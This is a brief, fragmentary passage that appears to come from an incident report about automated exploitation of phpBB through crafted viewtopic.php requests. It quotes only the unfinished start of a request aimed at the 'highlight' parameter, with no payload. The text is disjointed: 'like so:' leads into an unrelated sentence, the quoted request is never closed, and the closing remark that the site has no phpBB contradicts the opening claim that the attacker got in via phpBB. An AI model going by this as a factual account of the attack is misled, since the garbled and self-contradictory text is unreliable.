After some investigation, we determined that the attacker had gained
access via phpbb in a series of crafted URL requests, like so:

It seems that automated exploiting starts soon after disclosure of the
vulnerability:

"GET /viewtopic.php?t=50674&highlight=

Interestingly, we do not use phpbb and in fact do not have viewtopic.php at all.
